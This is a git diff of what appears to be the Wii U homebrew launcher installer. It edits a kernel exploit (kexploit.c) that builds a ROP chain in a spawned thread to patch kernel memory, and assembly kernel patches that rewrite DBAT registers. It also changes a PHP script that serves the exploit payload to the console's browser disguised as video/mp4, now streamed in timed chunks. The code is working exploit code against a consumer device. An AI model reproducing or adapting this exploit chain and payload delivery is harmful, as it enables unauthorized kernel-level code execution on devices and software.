diff --git a/installer/Makefile b/installer/Makefile index 297eb00..a5d3343 100644 --- a/installer/Makefile +++ b/installer/Makefile @@ -69,6 +69,7 @@ main: sd_loader.h clean: rm -rf $(build) rm -rf sd_loader.h + make clean -C ../sd_loader print_stats: @echo diff --git a/installer/kernel_patches.S b/installer/kernel_patches.S index a99b6e8..f5c0936 100644 --- a/installer/kernel_patches.S +++ b/installer/kernel_patches.S @@ -128,28 +128,15 @@ SC_0x25_KernelCopyData: .globl Syscall_0x36 Syscall_0x36: - mflr r0 - stwu r1, -0x10(r1) - stw r30, 0x4(r1) - stw r31, 0x8(r1) - mr r5, r0 - mr r6, r1 li r0, 0x3600 sc - nop - mr r0, r5 - mr r1, r6 - lwz r30, 0x04(r1) - lwz r31, 0x08(r1) - addi r1, r1, 0x10 - mtlr r0 blr .globl KernelPatches KernelPatches: # store the old DBAT0 - mfdbatu r30, 0 - mfdbatl r31, 0 + mfdbatu r5, 0 + mfdbatl r6, 0 # memory barrier eieio @@ -284,12 +271,12 @@ KernelPatches: isync # restore DBAT 0 and return from interrupt - mtdbatu 0, r30 - mtdbatl 0, r31 + mtdbatu 0, r5 + mtdbatl 0, r6 # memory barrier eieio isync - rfi + blr diff --git a/installer/kexploit.c b/installer/kexploit.c index 27568b8..97c0c9c 100644 --- a/installer/kexploit.c +++ b/installer/kexploit.c @@ -21,7 +21,7 @@ void run_kexploit(private_data_t *private_data) /* Exit functions */ void (*__PPCExit)(); - void (*_Exit)(); + void (*_Exit)(int); OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); @@ -40,14 +40,17 @@ void run_kexploit(private_data_t *private_data) OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t *stack, uint32_t stack_size, int priority, uint16_t attr); + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); int (*OSResumeThread)(void *thread); void (*OSExitThread)(); int (*OSIsThreadTerminated)(void *thread); + void (*OSYieldThread)(void); + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); /* OSDriver functions */ uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; @@ -89,9 +92,9 @@ void run_kexploit(private_data_t *private_data) uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8); - uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20); - if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, stack + 0x28, 0xa0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); + OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); + uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); + if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); /* Set up the ROP chain */ thread->gpr[1] = (uint32_t)stack; @@ -117,22 +120,16 @@ void run_kexploit(private_data_t *private_data) stack[0x94/4] = (uint32_t)OSExitThread; + DCFlushRange(thread, 0x1000); + DCFlushRange(stack, 0x1000); + /* Start the thread */ OSResumeThread(thread); /* Wait for a while */ while(OSIsThreadTerminated(thread) == 0) { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); + OSYieldThread(); } /* Free stuff */ diff --git a/installer/launcher.c b/installer/launcher.c index 0e2af07..8a6e398 100644 --- a/installer/launcher.c +++ b/installer/launcher.c @@ -111,14 +111,14 @@ void __main(void) /* Get our memory functions */ unsigned int* functionPointer; - void* (*memset)(void * dest, unsigned int value, unsigned int bytes); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); + void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); private_data_t private_data; - memset(&private_data, 0, sizeof(private_data_t)); + p_memset(&private_data, 0, sizeof(private_data_t)); private_data.coreinit_handle = coreinit_handle; - private_data.memset = memset; + private_data.memset = p_memset; private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); @@ -234,7 +234,7 @@ void __main(void) private_data.MEMFreeToDefaultHeap(stack); //! we are done -> exit browser now - private_data._Exit(); + private_data._Exit(0); } void ExitFailure(private_data_t *private_data, const char *failure) @@ -287,7 +287,7 @@ void ExitFailure(private_data_t *private_data, const char *failure) unsigned int t1 = 0x3FFFFFFF; while(t1--) asm volatile("nop"); - private_data->_Exit(); + private_data->_Exit(0); } /* ***************************************************************************** diff --git a/installer/structs.h b/installer/structs.h index 624411c..9233f86 100644 --- a/installer/structs.h +++ b/installer/structs.h @@ -19,7 +19,7 @@ typedef struct { void (*MEMFreeToDefaultHeap)(void *ptr); void (*DCFlushRange)(const void *addr, unsigned int length); void (*ICInvalidateRange)(const void *addr, unsigned int length); - void (*_Exit)(void); + void (*_Exit)(int); void* (*curl_easy_init)(void); void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); diff --git a/www/homebrew_launcher/payload.php b/www/homebrew_launcher/payload.php index 0982941..7488919 100644 --- a/www/homebrew_launcher/payload.php +++ b/www/homebrew_launcher/payload.php @@ -136,8 +136,31 @@ for($i=0; $i<0x2000; $i+=4)//Old stuff, probably should be removed(testing is re $con.= pack("N*", 0x8495a6b4); } +header('HTTP/1.0 200 OK'); header("Content-Type: video/mp4"); +header('Accept-Ranges: bytes'); +header('Content-Length: '.strlen($con)); +header("Content-Transfer-Encoding: binary\n"); +header('Connection: close'); + +// thanks to http://loadiine.ovh for finding this out +// At this exact moment, WiiU is loading its video player according to "Content-Type: video/mp4" +// When loaded too quickly, the video player can still freeze. So let's leave him 1 second to pop-up +sleep(1); + +//echo $con; + + +do +{ + $sub = substr($con, 0, 1024*16); + $con = substr($con, 1024*16); + + echo $sub; + usleep(1000); + $len = strlen($con); +} +while($len > 0); -echo $con; ?>